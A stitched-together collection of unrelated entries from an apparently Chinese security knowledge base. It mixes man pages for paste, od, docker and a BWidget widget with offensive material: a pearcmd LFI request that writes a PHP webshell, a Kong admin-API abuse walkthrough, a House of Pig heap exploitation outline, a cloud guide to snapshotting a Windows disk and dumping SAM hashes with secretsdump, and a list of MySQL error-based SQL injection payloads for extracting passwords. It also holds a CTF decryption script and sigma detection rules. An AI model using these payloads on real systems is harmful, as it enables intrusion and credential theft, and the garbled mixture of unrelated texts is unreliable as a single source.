Docker默认的PHP环境恰好满足上述条件,所以我们可以直接使用下面这个数据包来在写`shell.php`文件:
```
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0
```
如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功:

此时访问`http://your-ip:8080/shell.php`即可发现已经成功写入文件:

|
sec-knowleage
|
paste
===
将多个文件按列队列合并
## 补充说明
**paste命令** 用于将多个文件按照列队列进行合并。
### 语法
```shell
paste(选项)(参数)
```
### 选项
```shell
-d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符;
-s或——serial串列进行而非平行处理。
```
### 参数
文件列表:指定需要合并的文件列表。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH OD 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
od \- 用八进制或其它格式表示文件
.SH 概述
\fBod\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]...
.br
\fBod\fP [\fI\,\-abcdfilosx\/\fP]... [\fI\,文件\/\fP]
[[\fI\,+\/\fP]\fI\,偏移量\/\fP[\fI\,.\/\fP][\fI\,b\/\fP]]
.br
\fBod\fP \fI\,\-\-traditional \/\fP[\fI\,选项\/\fP]... [\fI\,文件\/\fP]
[[\fI\,+\/\fP]\fI\,偏移量\/\fP[\fI\,.\/\fP][\fI\,b\/\fP]
[\fI\,+\/\fP][\fI\,标签\/\fP][\fI\,.\/\fP][\fI\,b\/\fP]]
.SH 描述
.\" Add any additional description here
.PP
以无歧义的表示方式将指定文件输出至标准输出,默认为八进制字节形式。如果指定了多于一个文件,将它们以列出的顺序连接起来作为输入
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
如果前两个调用格式都适用,系统会在最后一个运算符以"+"或数字开始(如果有两个运算符)的情况下采用第二种格式。仅给出偏移量等效于 \fB\-j\fP
偏移量。标签是所打印的第一个字节的伪地址,随着累积过程递增。偏移量和标签如果冠以"0x"或"0X"前缀则表示十六进制数;后缀"."代表八进制数,后缀"b"表示乘以
512。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-A\fP, \fB\-\-address\-radix\fP=\fI\,基数\/\fP
指定文件偏移量的输出格式;这里给出的基数可以是 [doxn],分别代表十进制、八进制、十六进制或无基数
.TP
\fB\-\-endian=\fP{big|little}
根据给定的顺序交换输入字节
.TP
\fB\-j\fP, \fB\-\-skip\-bytes\fP=\fI\,字节数\/\fP
处理前先跳过指定数量的字节
.TP
\fB\-N\fP, \fB\-\-read\-bytes\fP=\fI\,字节数\/\fP
限制要转储的输入字节为指定的字节数
.TP
\fB\-S\fP 字节数, \fB\-\-strings\fP[=\fI\,字节数\/\fP]
输出至少包含指定字节数的可见字符;未指定具体数字时默认值取 3
.TP
\fB\-t\fP, \fB\-\-format\fP=\fI\,类型\/\fP
选取输出格式类型
.TP
\fB\-v\fP, \fB\-\-output\-duplicates\fP
不使用 "*" 字符标记屏蔽的行
.TP
\fB\-w[字节数]\fP, \fB\-\-width\fP[=\fI\,字节数\/\fP]
每一行只输出指定的字节数;未指定具体数字时默认值取 32
.TP
\fB\-\-traditional\fP
接受传统格式(上述第三种格式)的输入
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SS 传统格式命令可混合使用,不同的格式可叠加:
.TP
\fB\-a\fP
即 \fB\-t\fP a, 使用命名的字符,忽略高阶位
.TP
\fB\-b\fP
即 \fB\-t\fP o1,使用八进制单字节字符
.TP
\fB\-c\fP
即 \fB\-t\fP c, 使用可打印字符或者反斜杠转义的特殊字符
.TP
\fB\-d\fP
即 \fB\-t\fP u2,使用无符号十进制双字节字符
.TP
\fB\-f\fP
即 \fB\-t\fP fF,指定浮点数对照输出格式
.TP
\fB\-i\fP
即 \fB\-t\fP dl,指定十进制整数对照输出格式
.TP
\fB\-l\fP
即 \fB\-t\fP dL,指定十进制长整数对照输出格式
.TP
\fB\-o\fP
即 \fB\-t\fP o2,指定双字节单位八进制数的对照输出格式
.TP
\fB\-s\fP
即 \fB\-t\fP d2,指定双字节单位十进制数的对照输出格式
.TP
\fB\-x\fP
即 \fB\-t\fP x2,指定双字节单位十六进制数的对照输出格式
.SS 所指定的类型是由下面一种或几种参数组成的:
.TP
a
命名的(named)字符,忽略高位字节
.TP
c
可打印字符或者是反斜线转义字串
.TP
d[尺寸]
有符号十进制数,每个整形数占指定尺寸的字节
.TP
f[尺寸]
浮点数,每个浮点数占指定尺寸的字节
.TP
o[尺寸]
八进制数,每个整形数占指定尺寸的字节
.TP
u[尺寸]
无符号十进制数,每个整形数占指定尺寸的字节
.TP
x[尺寸]
十六进制数,每个整形数占指定尺寸的字节
.PP
尺寸应该是一个数字。对 [doux] 中的类型来说,适用的尺寸有:C 代表 sizeof(char)、S 代表 sizeof(short)、I 代表
sizeof(int) 或 L 代表 sizeof(long)。如果类型是 f,可适用的尺寸有:F 代表 sizeof(float)、D
代表sizeof(double) 或 L 代表 sizeof(long double)。
.PP
在任意类型之后添加一个 z 后缀则会在每个输出行末尾显示一个可打印字符。
.SS "所指定的字节数在使用 0x 或 0X 前缀时为十六进制,且可附加一个乘数后缀:"
.TP
b
512
.TP
KB
1000
.TP
K
1024
.TP
MB
1000*1000
.TP
M
1024*1024
.PP
同理可类推至 G, T, P, E, Z, Y。也可使用二进制前缀,如 Kib=K、MiB=M 等等。
.SH 范例
.TP
\fBod \-A x \-t x1z \-v\fP
以十六进制转储(hexdump)的格式显示输出
.TP
\fBod \-A o \-t oS \-w16\fP
这是 od 所使用的默认输出格式
.SH 作者
由 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/od>
.br
或者在本地使用: info \(aq(coreutils) od invocation\(aq
|
sec-knowleage
|
s=open("flag.encrypted","rb").read()
o=0x2c500
key=s[o:o+128]
r=s[:128*50]
for i in range(128*50, len(s)):
r+=chr(ord(s[i]) ^ ord(key[i%128]))
open("dec","wb").write(r)
|
sec-knowleage
|
package org.vulhub.fastjsondemo;
import com.alibaba.fastjson.annotation.JSONField;
public class User {
@JSONField
private String name;
@JSONField
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
|
sec-knowleage
|
# Kong未授权访问漏洞
## 漏洞描述
Kong未授权访问漏洞(CVE-2020-11710)是指在Kong API网关系统中存在未授权访问漏洞,攻击者可以利用该漏洞获取或修改管理员凭证、读取任意文件以及远程执行任意代码。该漏洞由于Kong API网关系统未对请求进行严格验证导致。
## 影响版本
Kong < V2.0.3
## 环境搭建
创建Docker网络
```
[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613
```
拉取并启动PostgreSQL容器
```
docker run -d --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e "POSTGRES_PASSWORD=kong" postgres:9.6
```
数据库安装后,可进入postgres容器,创建kong用户及数据库kong
```
docker exec -it container_id /bin/bash
#切换用户
su postgres
#进入命令
psql;
#创建用户kong及密码
create user kong with password 'kong';
#创建数据库kong
create database kong owner kong;
#查看创建后的数据库(可省)
\l
```
初始化数据库
```
docker run --rm \
--network=kong-net \
-e "KONG_DATABASE=postgres" \
-e "KONG_PG_HOST=kong-database" \
-e "KONG_PG_USER=kong" \
-e "KONG_PG_PASSWORD=kong" \
-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \
kong:2.0.2 kong migrations bootstrap
```
启动kong
```
docker run -it \
--network=kong-net \
-e "KONG_DATABASE=postgres" \
-e "KONG_PG_HOST=kong-database" \
-e "KONG_PG_PASSWORD=kong" \
-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \
-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \
-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \
-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \
-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \
-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \
-p 8000:8000 \
-p 8443:8443 \
-p 8001:8001 \
-p 8444:8444 \
kong:2.0.2
```
## 漏洞利用
访问http://192.168.32.130:8000

利用 Admin Restful API ,在Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://192.168.32.130:8000
```sh
$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'
```

添加一个路由,`paths[]`的值为 `/site1`,name的值为 `111111`
```
curl -i -X POST http://127.0.0.1:8001/services/target/routes --data 'paths[]=/site1' --data 'name=111111'
```


|
sec-knowleage
|
# Dragon CTF 2019 Finals
Team: (ak, c7, msm, nazywam), (rev, rodbert, eternal, psrok1), (des, chivay, sasza, shalom)
### Table of contents
* [Cat flag (web)](cat_flag)
* [Drow number guessing (game)](drow_number)
* [Raiding party (game)](raiding_party)
* [Expensive flag (game)](expensive_flag)
* [Under the mountain (game)](under_mountain)

|
sec-knowleage
|
docker
===
容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行
## 补充说明
Docker 容器可以快速部署、可移植、可扩展,并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。
## 安装
在 Linux 中输入以下命令安装 Docker。
```bash
# CentOS 参考:https://blog.csdn.net/zhaoyuanh/article/details/126610347
#如果系统里有旧版本docker的话需要先行删除:
sudo yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine
#设置仓库:
yum install -y yum-utils
#添加Docker仓库:
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
#安装Docker引擎(默认最新):
yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin
#启动docker:
sudo systemctl start docker
```
## 语法
```shell
docker create [options] IMAGE
```
## 选项参数
```shell
attach 将本地标准输入、输出和错误流附加到正在运行的容器
build 从 Dockerfile 构建镜像
commit 从容器的更改创建新镜像
cp 在容器和本地文件系统之间复制文件/文件夹
create 创建一个新容器
diff 检查容器文件系统上文件或目录的更改
events 从服务器获取实时事件
exec 在正在运行的容器中运行命令
export 将容器的文件系统导出为 tar 存档
history 显示镜像的历史
images 列出镜像
import 从 tarball 导入内容以创建文件系统映像
info 显示系统范围的信息
inspect 返回有关 Docker 对象的低级信息
kill 杀死一个或多个正在运行的容器
load 从 tar 存档或 STDIN 加载镜像
login 登录到 Docker 注册表
logout 从 Docker 注册表中注销
logs 获取容器的日志
pause 暂停一个或多个容器内的所有进程
port 列出容器的端口映射或特定映射
ps 列出容器
pull 从注册表中提取镜像或存储库
push 将镜像或存储库推送到注册表
rename 重命名容器
restart 重启一个或多个容器
rm 移除一个或多个容器
rmi 移除一张或多张镜像
run 在新容器中运行命令
save 将一个或多个镜像保存到 tar 存档(默认流式传输到 STDOUT)
search 在 Docker Hub 中搜索镜像
start 启动一个或多个停止的容器
stats 显示容器资源使用统计的实时流
stop 停止一个或多个正在运行的容器
tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE
top 显示容器的运行进程
unpause 取消暂停一个或多个容器中的所有进程
update 更新一个或多个容器的配置
version 显示 Docker 版本信息
wait 阻塞直到一个或多个容器停止,然后打印它们的退出代码
<环境参数>
--add-host list # 添加自定义主机到 IP 映射 (host:ip)
-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR
--blkio-weight uint16 # 块 IO(相对权重),介于 10 和 1000 之间,或 0 禁用(默认 0)
--blkio-weight-device list # 块 IO 权重(相对设备权重)(默认 [])
--cap-add list # 添加 Linux 功能
--cap-drop list # 放弃 Linux 功能
--cgroup-parent string # 容器的可选父 cgroup
--cgroupns string # 要使用的 Cgroup 命名空间(主机|私有)
# 'host': 在 Docker 主机的 cgroup 命名空间中运行容器
# 'private': 在自己的私有 cgroup 命名空间中运行容器
# '': 使用由守护进程上的
# default-cgroupns-mode 选项配置的 cgroup 命名空间(默认)
--cidfile string # 将容器 ID 写入文件
--cpu-period int # 限制 CPU CFS(完全公平调度器)周期
--cpu-quota int # 限制 CPU CFS(完全公平调度器)配额
--cpu-rt-period int # 以微秒为单位限制 CPU 实时周期
--cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间
-c, --cpu-shares int # CPU 份额(相对权重)
--cpus decimal # CPU 数量
--cpuset-cpus string # 允许执行的 CPU (0-3, 0,1)
--cpuset-mems string # 允许执行的 MEM (0-3, 0,1)
--device list # 将主机设备添加到容器
--device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表
--device-read-bps list # 限制设备的读取速率(每秒字节数)(默认 [])
--device-read-iops list # 限制设备的读取速率(每秒 IO)(默认 [])
--device-write-bps list # 限制设备的写入速率(每秒字节数)(默认 [])
--device-write-iops list # 限制设备的写入速率(每秒 IO)(默认 [])
--disable-content-trust # 跳过镜像验证(默认为 true)
--dns list # 设置自定义 DNS 服务器
--dns-option list # 设置 DNS 选项
--dns-search list # 设置自定义 DNS 搜索域
--domainname string # 容器 NIS 域名
--entrypoint string # 覆盖镜像的默认入口点
-e, --env list # 设置环境变量
--env-file list # 读入环境变量文件
--expose list # 公开一个端口或一系列端口
--gpus gpu-request # 要添加到容器中的 GPU 设备(“全部”以传递所有 GPU)
--group-add list # 添加其他组以加入
--health-cmd string # 运行以检查运行状况的命令
--health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s)
--health-retries int # 需要报告不健康的连续失败
--health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间(ms|s|m|h)(默认 0s)
--health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s)
--help # 打印使用
-h, --hostname string # 容器主机名
--init # 在容器内运行一个 init 来转发信号并收获进程
-i, --interactive # 即使没有连接,也保持 STDIN 打开
--ip string # IPv4 地址(例如 172.30.100.104)
--ip6 string # IPv6 地址(例如,2001:db8::33)
--ipc string # 要使用的 IPC 模式
--isolation string # 容器隔离技术
--kernel-memory bytes # 内核内存限制
-l, --label list # 在容器上设置元数据
--label-file list # 读入以行分隔的标签文件
--link list # 添加到另一个容器的链接
--link-local-ip list # 容器 IPv4/IPv6 链路本地地址
--log-driver string # 容器的日志记录驱动程序
--log-opt list # 日志驱动程序选项
--mac-address string # 容器 MAC 地址(例如 92:d0:c6:0a:29:33)
-m, --memory bytes # 内存限制
--memory-reservation bytes # 内存软限制
--memory-swap bytes # 交换限制等于内存加上交换:'-1' 启用无限交换
--memory-swappiness int # 调整容器内存交换(0 到 100)(默认 -1)
--mount mount # 将文件系统挂载附加到容器
--name string # 为容器分配名称
--network network # 将容器连接到网络
--network-alias list # 为容器添加网络范围的别名
--no-healthcheck # 禁用任何容器指定的 HEALTHCHECK
--oom-kill-disable # 禁用 OOM 杀手
--oom-score-adj int # 调整主机的 OOM 首选项(-1000 到 1000)
--pid string # 要使用的 PID 命名空间
--pids-limit int # 调整容器 pids 限制(设置 -1 表示无限制)
--platform string # 如果服务器支持多平台,则设置平台
--privileged # 授予此容器扩展权限
-p, --publish list # 将容器的端口发布到主机
-P, --publish-all # 将所有暴露的端口发布到随机端口
--pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing")
--read-only # 将容器的根文件系统挂载为只读
--restart string # 容器退出时应用的重启策略(默认“否”)
--rm # 容器退出时自动移除
--runtime string # 用于此容器的运行时
--security-opt list # 安全选项
--shm-size bytes # /dev/shm 的大小
--stop-signal string # 停止容器的信号(默认“SIGTERM”)
--stop-timeout int # 停止容器的超时(以秒为单位)
--storage-opt list # 容器的存储驱动程序选项
--sysctl map # Sysctl 选项(默认 map[])
--tmpfs list # 挂载 tmpfs 目录
-t, --tty # 分配一个伪 TTY
--ulimit ulimit # ulimit 选项(默认 [])
-u, --user string # 用户名或 UID(格式:<name|uid>[:<group|gid>])
--userns string # 要使用的用户命名空间
--uts string # 要使用的 UTS 命名空间
-v, --volume list # 绑定挂载卷
--volume-driver string # 容器的可选卷驱动程序
--volumes-from list # 从指定容器挂载卷
-w, --workdir string # 容器内的工作目录
```
## 实例
介绍几个常用场景:Docker Hub镜像市场相关,镜像仓库命令。
1、下载docker hub镜像市场中的镜像。
```bash
docker pull user/image
```
2、在 docker hub 中搜索镜像。
```bash
# 注意需要下载镜像才能使用
docker search search_word
```
3、向 docker hub 进行身份验证。
```bash
docker login
```
4、将镜像上传到 docker hub。
```bash
docker push user/image
```
## 官网
更多安装使用方法可以访问学习:https://wangchujiang.com/reference/docs/docker.html
由上海 屠天煜编写
|
sec-knowleage
|
.TH TitleFrame 3tk "tcllib - BWidget"
.SH NAME
.B TitleFrame - 有一个标题的框架
.SH 创建 CREATION
.B TitleFrame pathName ?option value...?
.SH 描述 DESCRIPTION
TitleFrame 使用户能建立带有象 XmFrame Motif 组件那样的框架。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
.TP
-baseline
指定标题的垂直对齐: top、center 或 bottom。
.TP
-ipad
指定在这个框架和用户框架之间的填充(pad)。值使用屏幕单位。
.TP
-side
指定标题的水平对齐: left、center 或 right。
.SH 组件命令
.TP
pathName cget option
返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。
.TP
pathName configure ?option? ?value option value ...?
查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。
.TP
pathName getframe
返回用户可以建立任何其他组件的那个框架。
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/05/08
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
<html>
<head>
<meta charset="utf-8">
<title>Heartbleed Test</title>
</head>
<body>
<p>Heartbleed Test</p>
</body>
</html>
|
sec-knowleage
|
### House of Pig概括
House of Pig 是一个将 Tcache Statsh Unlink+ Attack 和 FSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31及以后的新版本 libc 并且程序中仅有 calloc 时。
利用条件为
* 存在 UAF
* 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。
主要利用的函数为 `_IO_str_overflow`,可以参考 [glibc 2.24下 IO_FILE 的利用](https://ctf-wiki.org/pwn/linux/io_file/exploit-in-libc2.24/#_io_str_jumps-overflow)。
利用流程为
1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 `__free_hook - 0x10` 写入 tcache_pthread_struct。由于该攻击要求 `__free_hook - 0x8` 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。
2. 再进行一个 large bin attack,修改 `_IO_list_all` 为一个堆地址,然后在该处伪造 `_IO_FILE` 结构体。
3. 通过伪造的结构体触发 `_IO_str_overflow` getshell。
注意在 2.31 下的 largbin attack 和老版本有一定区别,可以参考 [Large Bin Attack](https://ctf-wiki.org/pwn/linux/glibc-heap/large_bin_attack/) 这一章。
|
sec-knowleage
|
---
title: SoundCloud
date: 2022-11-23 16:23:31.705804
background: bg-[#ec622b]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 22 keyboard shortcuts found on SoundCloud
---
Keyboard Shortcuts {.cols-2}
------------------
### General I
Shortcut | Action
---|---
`Space` | Play or pause
`Shift` `Right` | Play next track
`Shift` `L` | Repeat playing track
`Shift` `Left` | Play previous track
`Right` | Seek forward
`L` | Like playing track
`R` | Repost playing track
`S` | Search
`G` `L` | Navigate to likes
`G` `C` | Navigate to library
{.shortcuts}
### General II
Shortcut | Action
---|---
`G` `H` | Navigate to history
`Shift` `S` | Shuffle
`Shift` `Down` | Decrease volume
`Shift` `Up` | Increase volume
`M` | Mute volume
`Left` | Seek backwards
`0-9` | Seek to position
`P` | Navigate to playing track
`H` | Show keyboard shortcuts
`G` `S` | Navigate to stream
`G` `P` | Navigate to profile
`Q` | Show next up
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for SoundCloud](https://i.imgur.com/ZQf24je.png) _(i.imgur.com)_
|
sec-knowleage
|
---
title: 获取 Windows 实例权限
---
<center><h1>获取无法直接执行命令的 Windows 实例权限</h1></center>
---
## 前言
在平时进行云上攻防的时候,偶尔会碰到虽然有 ECS 实例管理权限但无法在实例上执行命令的情况。
一般可能是因为实例没有安装云助手或者云厂商本身就不支持直接下发执行命令等原因,在遇到这种情况时,对于 Windows 实例我们依然有办法获取到实例的权限。
思路也很简单,就是通过为目标实例打快照 —> 创建磁盘 —> 创建实例 —> 挂载磁盘 —> 利用 SAM 等文件获取密码或哈希 —> 使用密码或哈希远程登录获取权限。
下面将以华为云为例,来演示下这个步骤。
## 演示
先看下当前场景,我们在接管控制台后,账号下有一台 Windows 实例,现在我们需要获取它的权限。
<img width="1000" src="/img/1683955264.png">
根据刚才的思路,为这台实例的系统盘创建一个快照
<img width="1000" src="/img/1683955272.png">
通过这个快照创建磁盘
<img width="1000" src="/img/1683955279.png">
接着创建一个实例,在创建实例的时候,要注意可用区的选择,需要选择和磁盘在一个可用区,否则会无法挂载。
<img width="1000" src="/img/1683955286.png">
将刚创建的磁盘挂载到刚创建的实例中
<img width="1000" src="/img/1683955292.png">
远程连接刚创建的实例,可以看到磁盘已经挂载上了,如果没有看到则可以在磁盘管理里找找
<img width="1000" src="/img/1683955299.png">
这时我们就可以通过 SAM、SYSTEM、SECURITY 文件获取哈希了,如果是域控可以通过 NTDS.dit 文件获取整个域的哈希。
这里以使用 impacket-examples-windows 获取哈希为例。
```bash
.\secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL
```
<img width="1000" src="/img/1683955311.png">
可以看到获取到了 3 个用户的 Hash、2 个明文密码,经过尝试,第 2 个明文密码就是 cloudbase-init 用户的密码,因此这里就可以利用这个密码直接远程登录目标实例了。
<img width="1000" src="/img/1683955318.png">
登陆目标实例后,发现权限是管理员权限,至此,就已经获取到目标实例的权限了,上述我们自己创建的快照、磁盘、实例此时就可以删掉了。
## 结语
可以看到,整个的步骤还是有些繁琐的,对于上面的步骤可以结合 Terraform 等工具实现自动化,如果读者感兴趣,可以自己尝试尝试。
对于 AWS,老外也有相应的利用工具,比如 CloudCopy,直接通过脚本获取快照中的 NTLM 哈希,原理都是差不多的,我之前也写过这个工具的利用文章,详见:[wiki.teamssix.com/CloudService/EC2/ec2-shared-snapshot.html](https://wiki.teamssix.com/CloudService/EC2/ec2-shared-snapshot.html)
不同的云可能在一些地方不太一样,但思路都是差不多的,在实战中,还是要多琢磨琢磨。
看到这里,也许有的人可能会有疑惑,那如果是 Linux 怎么办呢?Linux 的话,感觉能做的不多,可能就是翻翻文件、解密 Shadow 之类的了。
最后,如果对上面的内容有什么想法或疑问,欢迎在评论区交流。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 5 月 13 日"
}
}
</script>
|
sec-knowleage
|
# T1124-系统时间发现
## 来自ATT&CK的描述
Windows时间服务在域中设置和存储系统时间,以维护企业网络中系统和服务之间的时间同步。
攻击者可能会从本地或远程系统收集系统时间或时区。可以通过多种方式来收集此信息,例如,通过在Windows上的Net程序上通过执行net time相关命令来进行收集远程系统上的系统时间。也可以从当前系统时间推断受害人的时区,使用收集w32tm /tz。该信息可能对执行其他技术很有用,例如使用计划任务执行文件等。
## 测试案例
windows下利用net time相关命令查看本地主机当前时间。
```yml
- 查看域时间及域服务器的名字:net time /domain
- Nslookup -type=SRV _ldap._tcp.
```
## 检测日志
windows 安全日志
## 测试复现
```dos
C:\Windows\system32>net time \\ICBC
\\ICBC 的当前时间是 2019/11/10 20:09:50
命令成功完成。
```
```dos
Microsoft Windows [版本 10.0.14393]
(c) 2016 Microsoft Corporation。保留所有权利。
C:\Users\Administrator>w32tm /tz
时区: 当前:TIME_ZONE_ID_UNKNOWN 偏量: -480分 (UTC=本地时间+Bias)
[标准名称:"中国标准时间" 偏量:0分 日期:(未指定)]
[夏时制名称:"中国夏令时" 偏量:-60分 日期:(未指定)]
```
## 测试留痕
windows日志、4688、4689、命令行参数
## 检测规则/思路
### sigma规则
```yml
title: windows 系统服务发现
description: windows server 2016
references:
tags: T1124
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\net.exe' #进程信息>新进程名称
Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称
Processcommandline: net time * #进程信息>进程命令行
selection2:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\net1.exe' #进程信息>新进程名称
Creatorprocessname: 'C:\Windows\System32\net.exe' #进程信息>创建者进程名称
Processcommandline: C:\Windows\system32\net1 time * #进程信息>进程命令行
selection3:
EventID: 4689 #已退出进程
ProcessName: 'C:\Windows\System32\net1.exe' #进程信息>进程名
selection4:
EventID: 4689 #已退出进程
ProcessName: 'C:\Windows\System32\net.exe' #进程信息>进程名
timeframe: last 1m #可根据实际情况调整
condition: all of them
level: medium
```
```yml
title: windows 系统服务发现
description: windows server 2016
references:
tags: T1124
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\w32tm.exe' #进程信息>新进程名称
Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称
Processcommandline: w32tm /tz #进程信息>进程命令行
selection2:
EventID: 4689 #已退出进程
ProcessName: 'C:\Windows\System32\w32tm.exe' #进程信息>进程名
timeframe: last 5s #可根据实际情况调整
condition: all of them
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1124
<https://attack.mitre.org/techniques/T1124/>
|
sec-knowleage
|
# 0x00 报错注入
报错注入在我们不能联合注入的时候也是非常重要的网上给我们提供了很多中报错注入 这里直接引用
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html 一文了
```
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
```
每个一个报错语句都有它的原理 比如 `exp()` 报错的原理 ,手册说到exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错。
简单的用报错语句来注入一下把这里我就利用函数 `updatexml()`
```
updatexml (XML_document, XPath_string, new_value);
XML_document: 是String格式,为XML文档对象的名称,文中为Doc
XPath_string : Xpath
new_value :String格式,替换查找到的符合条件的数据
```
其中关键点就是`XPath_string` 这块了 因为我们传入的的不是`XPath_string`,为什么要使用`concat` 这个函数呢,因为它是个连接函数你不用的话`(updatexml(1,(select user()),1))` 这样也可以但是需要字符中有特殊字符,才会报错,同时它会被中间的特殊字符截断,所以需要用到`concat`用特殊字符给他连接起来。
```
爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
```
在报错里面直接使用 MySQL最基本的查表就可以了,你也可以把concat放在外面 `updatexml(1,concat(0x7e, (select password from users limit 1,1),0x7e),1)`
自己灵活多变,这里我值得注意的是它加了连接字符md5只能爆出31位,你可以用分割函数分割出来。
```
substr(string string,num start,num length);
string为字符串
start为起始位置
length为长度
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +
```
